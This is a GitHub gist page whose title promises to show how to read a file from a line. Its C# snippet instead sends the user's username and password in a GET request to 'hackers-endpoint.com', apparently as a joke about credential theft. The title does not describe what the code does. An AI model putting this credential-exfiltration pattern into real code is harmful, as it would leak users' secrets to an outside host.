Last active
August 29, 2015 13:56
-
-
Save khalidabuhakmeh/9057639 to your computer and use it in GitHub Desktop.
How Read a File From A Line
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var username = **YOUR USERNAME**; | |
| var password = **YOUR PASSWORD**; | |
| var url = "http://hackers-endpoint.com?username={0}&password={1}"; | |
| var client = new HttpClient(); | |
| var response = await client.GetAsync(string.Format(url, username, password)); | |
| response.EnsureSuccessStatusCode(); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment